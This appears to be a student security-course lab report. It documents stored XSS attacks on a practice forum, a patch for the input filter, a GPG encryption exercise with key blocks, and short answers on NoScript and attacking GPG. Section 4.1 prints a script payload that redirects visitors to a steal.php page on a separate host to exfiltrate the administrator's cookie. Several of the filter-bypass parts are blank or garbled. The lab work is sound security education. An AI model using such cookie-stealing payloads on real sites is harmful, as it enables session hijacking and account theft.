

CSCI 493
Lab 12
Viyan Poonamallee, Jun Wang, Yang Zhiping.

4.1

1.

Create a topic

Subject: <input style="width: 90%;" type="text" value="test"/>	Category: <input style="width: 90%;" type="text" value="Sloths"/>	Message:
<pre><SCRIPT type="text/javascript"> window.location = 'http://10.0.1.2/steal.php?cookie=' + escape(document.cookie); </SCRIPT></pre>		
		<input type="button" value="Create topic"/>

```
<SCRIPT type="text/javascript"> window.location = 'http://10.0.1.2/steal.php?cookie=' +  
document.cookie;</SCRIPT>
```

<u>Eagles</u> Where to find those delicious sloths!	No topics yet
---	---------------

2. and 3.

```

```

Create a topic

Subject: Category: Message:

```

```

Create topic

This line worked for both 2. and 3. with minimal issues, as both filters are designed to seek out and remove script tags, but not other tags that are capable of running JavaScript.

Eagles Where to find those delicious sloths!	No topics yet
--	---------------

4.

Create a topic

Subject: Category: Message:

```
”), this then got past regex used for sanitization, but the tag still gets interpreted as proper HTML.

## Eagles

Where to find those delicious sloths!

No topics yet

## The Attack

The attack was a cross site scripting attack that inserted HTML tags that use JavaScript to exfiltrate the administrator cookie, which can then be used in conjunction with php code to send HTTP data with full administrator privileges. This inserted code takes advantage of poor input sanitization to place code which is interpreted and run by the browser.

## The Patch

As a simple patch against the insertion of HTML, the new sanitization function removes all angle brackets from user inputs. However, this is likely not enough, as regex in general is built to filter natural language and likely will not hold up against more sophisticated XSS attacks. It would be preferable to use a proper and standards-compliant filter library such as HTML Purifier. For now, however, this is more secure than the previous sanitization functions.

## 4.2

### 1. Cleartext message.txt

Dear TA,

This is our lab 11 mail security message.

We generate a GPG key pair for our group and are testing signing+encryption.

Group member:

- Jun Wang
- Viyan Poonamallee
- Zhipeng Yang

Best,

CSCI493 Group 2

## 2. Message.asc

```
1 -----BEGIN PGP MESSAGE-----
2
3 hQGMAwjYkhwM10jEAQv9HUH6Ka4n2KF17ekc+dmkW6gFm71EjBnn114rzzQLF1Lu
4 T87eIO13IMJdhp7JV5SbxPmABNYjBfoBA4cKuEdtG4PyoFwPsmI/XCLRCmX+uuMw
5 /7/UljRRMZLftBZux+gr2Cb8MMgT/z9DYJITpPLjWQxJH+1M0fv1fxQmMtURk0JZ
6 N5/HnnJcILkoI70eTVvSEMFUnEUHPtr2rJQPVwRDa5CtB7km8SNuZ/2dGZt+aF8e
7 VV0sFkX4zPi6kQMVErbweyd74QW22yrpj4FitHF+B9ChYT3Q4wGhYnPakBrJmJcf
8 kRyg7D+wz3jtYTBnHtnq/La3COliEV0Vmz8wRgZzJlF+120BGSA+bfIXAlCpdDut
9 3HAxkboa7pzPOPZaWY17+rkZ6fZMrY4gQTEXLmg4js3Kr19NgSQBBJ3Rn+BysPzd
10 zWhaXyMv651Te3Wjfw16NKgoyUo/XLDP1XduCNlRyGwGqWlkPIsEtI4UU5rt0B/3
11 pLZHnZg90otEem3c0G240ukBUGxp/hq0KeWiTLbnIqCix8znv1V8xqv5B200y79s
12 oC6nmB9NOTBUTiCOm2ouVYmRkvjm1esYmzbqWldPaRlWmSavV5ttthoXmuk6uT1Qry
13 Yz3QmbAkvhuPYStM+7WxxgT8N5q2dOPDRwUVgrUM1lq8sZ5lBNr40bvX+H0n64GO
14 SNyAyJ+noK79cRRRZj40IZnWm1Dt+AWN1G+UCRRjHp8F+c0a5U/xNx/860qAQpfa
15 C7Uh3+jUmTr8JoXEFuj0+IAC9fSeWRdYs3SueauN6Pol6BnGtNwtDcwAK47g8Ag+
16 7I87jbXILUEqfPgduQiiGJr9b8jMjNtPep7NS5MMW8C00UTsjYjkKUEKo6KtRYMuK
17 6SIZH7cY7+o1LLCu1h0FmdhSLm1mw2ag5yLxgFphMNSpG9NqHixs63kI2BSGJ5ku
18 c7XkIZVN9r2/x0r2CrGDJRzyNckJYEppoSgg87Rin2jXBpuSqm0xtXfnPNvzXhE
19 oCbYGndX7846TGCvsRahLTBFtWHIc7yaJyyPHHJf/zf1sVX5oM0QJnoKSxHBTWx
20 IE/hXZ9/ImrbUbenIZaY7pNuuHG/oRHEizAaHlHzmLzc6FToOvcUpfjT1s1vTC+k
21 H7PDwMwJU7vec270wSrG0b56qxwWxgToDv65GqW3Sfc7bhDPwRO/6RP6BVG0pcu
22 fsAyrnxVTAzilwWjEeE5M9K1pY0nU+NxUMQrwKJ5lwgHqWq0u9pauowI4h3li+B5
23 VE9IM4MODG1X7FCr7tHKYblCAfZq7G1ktgqtYZYiuyj1TRCXZMtmeg/2sQMXxNH
24 /5CGG1axoHg/FI3BTpS5ktfNwzZklZ7wtLGaKhjSr+8Z/n1LzCfck7dRJAL+nHBN
25 8WFrRNU67V/pMNJUr6IDI8luEvEfjC7TeODFC7Le8/3G/f1iws9ACkjGvMKgtT0r
26 nTP0fmb7X4yjlGKakjaG2jQMXmPKgEIfWJA4t4RHPryWXDex5OG15EUmLJudM3Ty
27 OYndB/M=
28 =ZD6r
29 -----END PGP MESSAGE-----
30
```

## 3. Group-public-key.asc

```
1 |-----BEGIN PGP PUBLIC KEY BLOCK-----
2
3 mQGNBGkw2UABDADJ77kWUeaZWHRsS2ZsBtrzo++650l0X9okiFISzg7kQ1NaU0bK
4 Xagj26ek++vKUYuMpwAfe2Q2hfARprociyIRhSphZG+2y9vLx2ie1MEtiqST506P
5 06EZZInf002X5jFjcRyBSP/W85c0izwWgck0CJelFHF5X41t0yCb2iPHoSiVHmyp
6 ogt4WpPA7Cb5Zqp4vHnbaH+rBV1h0yhG+j3uEJyTfXHX9DwDw0sLAjLZLwCi5tP8
7 Y94Vs0R/yDfBbe+1I0HLkJf2aDuiNZ3HIDXj5vIkEiyA7YT6shMZZT53tSOYNPGs
8 Nh1+KjFvAUpjqjVSu0huT5bIM/EzyK3QXLEelq0++op/naFDv0WIrPqr1KcZrggt
9 qthqmUb3gkCwd1Ds3Xj7cfXFF9pk99r4G5wmkDqcpqDZyUcDfYeFcw72sMhhva+J
10 cecTvEegw8ip08X7FPsp/UCE8K0KEH69EuSgEJgncvv10IREceDJ7Q/IsjHejd3P
11 b4BuJBg6yIHum2UAEQEAAABQ/Q1NDSTc5NSBHcm91cCAyIChMYWIgMTEgeHNzKSA8
12 Y2hpYWp1bi53YW5nMDdAbXlodW50ZXIuY3VueS5lZHU+iQHOBMBBCgA4FiEE7g8u
13 tU/j+j8/fhWa6F8L2IqHvekFAmkw2UACGwMFCwkIBwIGFQoJCA5CBBYCAwECHgEC
14 F4AACGkQ6F8L2IqHveltlAv/fdp3fCfnf8KB2wQsXWv24bDvWYopFQMYjh7UP3if
15 AXRU1FDej7+Z0XoCBuC9NELj4svB+GJgbw8CklUORZoTQCCCT0Yh+rLuG4s+DdTN
16 hSH3/sI/nGbAuaE2c6Rg+OqVWfpJDDmG8esUUnzm/qbMB/I2l7QGjQbCAA3YEsx0
17 6M7gzPCdt6w8bI8pSgFUpWciDSn8VJbdspY7IYogpmY54koU37QkyAwKKWdZ2gfk
18 N2zdZAskMnGMcVBvuRzSghq8d5EDZou+uIJI8Z9KhbBfQlryM/3b/SDeUnZbAi0
19 4hc9EB02EDV6by2om2PIFrIoqaXgdqDB0JQMaCAfv+k+hJXFMZNIb60STvbevsN
20 8XMLFFe/8fu59l0iHVV2CTt+jGTWQPPi90JrsPidiimRyKjWACoePIhsRKUyrqa0
21 JzjftY7+m8sFEI/Q+9Ijzx7WeiUHCxnMwekvUXQSyMtOaw542wb2cQHHTGA4y+DI
22 T8DZMZIqQKjeADVx+qYacznuuQGNBGkw2UABDADTNsXhuGhZ13by9t6GHYOWIY4s
23 1tm0zNgzwiBwEI7pfv1jfmGWtyqdTiEdd5hltlh9Y5PuWa6BAMu+NwvFGxNzFo7
24 913NgGMajyhKi2tnwMAN5kx2uma2J5LYKY+31eYG3gX459ySPFc0ibITKIHCfMQy
25 DgqHq6Ic7s5hkKjfkYrrGTtD26j8nmNQWL7XauSwI80+16wxkWIMDDkVid7EuYqw
26 YS0qDWS1UozJdj14Zek/WaeiUopRYcnerCKUncOfEXYySAz7Z+JFiU3u/hgTtllv
27 /nM0dRiAcf8xZvA7r42XdZuaB+yP2T5duFBwQlFHH6GQtQVl/5czXvmPKb2YRdzD
28 U0cAdSCWcqDtBqWVAQ97FCk5qXsrnLAG2DHiiqKlNfRqDzEPxYyguIqanlrytT+
29 Cd3BVkJD0msCAdrQrZ47EJNh1AgQL+dP511Nr21duEKTqbd86eHeJrLdBqWC14Hn
30 aVloNpvTuEE5XgcFGDtvDiKXcwnJ4KSVD8xAJVUAQEAAAYkBTgQYAQoAIBYhB04P
```

```
31 LrVP4/o/P34VmuhfC9iKh73pBQJpMNLAAhsMAAoJE0hfC9iKh73pbQoL/1RkjdmQ
32 LEBiSCo2nxEbUwtKb0ZkMw/Z3x31heJIHCWPlcD/GG+gIl5Mt40TUApX2gf9Pt69
33 T90HLchmCO8IjJelRb8PDDdWE/ZQnnTGD66lybD0oXNuVDtewitcGD4S9ZxMKxLq
34 R+w0xL4AkEgufo1Qh3d9G3bg+JYjIW6rg2ayc4w8n5un6lkDAiz0awWIlQicX5ND
35 L4HkrMm6kRTn1L+PXmwfQJMhxZRFHhNVAw+gVQvCGBTLcQpB+TWBdoh3yxcC3gZi
36 Db8s0zPujXLgUQjF0/+jt5pK032caXVcITjzk0yEhZHVotfyx20Ac3+3P9bG87IK
37 1ydLMSrFHSZotUsbz3uy30lhQWEV/ZmgktMkNDmfzJ4SYxu2uS1Tt4XzKI9FoeZ7
38 K3FUpDAFsezGbcPG0GZl1U7sj5jfq/GzK/C8ZxhggP9dd3YsRxiqu10SIWL6AK7p
39 4n9wrFhhfJa0ojEQBhFHZ0adng+mPYLZT5jEjHdm5TKRAa1t1gOwJ/VMsA==
40 =SgPX
41 -----END PGP PUBLIC KEY BLOCK-----
42
```

## 5. Word Problems

1. To what extent do utilities like NoScript protect client-side against cross-site-scripting attacks?

Noscript protects client-side against XSS by blocking JavaScript, Flash, and other active browser content unless the user explicitly allows a website to execute the scripts. NoScript blocks scripts not only from the target website, but also from third party domains such as ad services, social media widgets. However, its effectiveness depends on how careful the user manages the whitelist domains.

2. How would you break the security provided by GPG?

We can compromise the computer to gain the private key by remote desktop access, Trojan malware or fake software updates. The private key file is symmetrically encrypted with a passphrase. Therefore, if the passphrase is weak, we can use brute-force to get the password and unlock the private key. GPG uses cryptographic algorithms such as RSA, ECC, AES. Therefore, if we want to break it mathematically, it is realistic.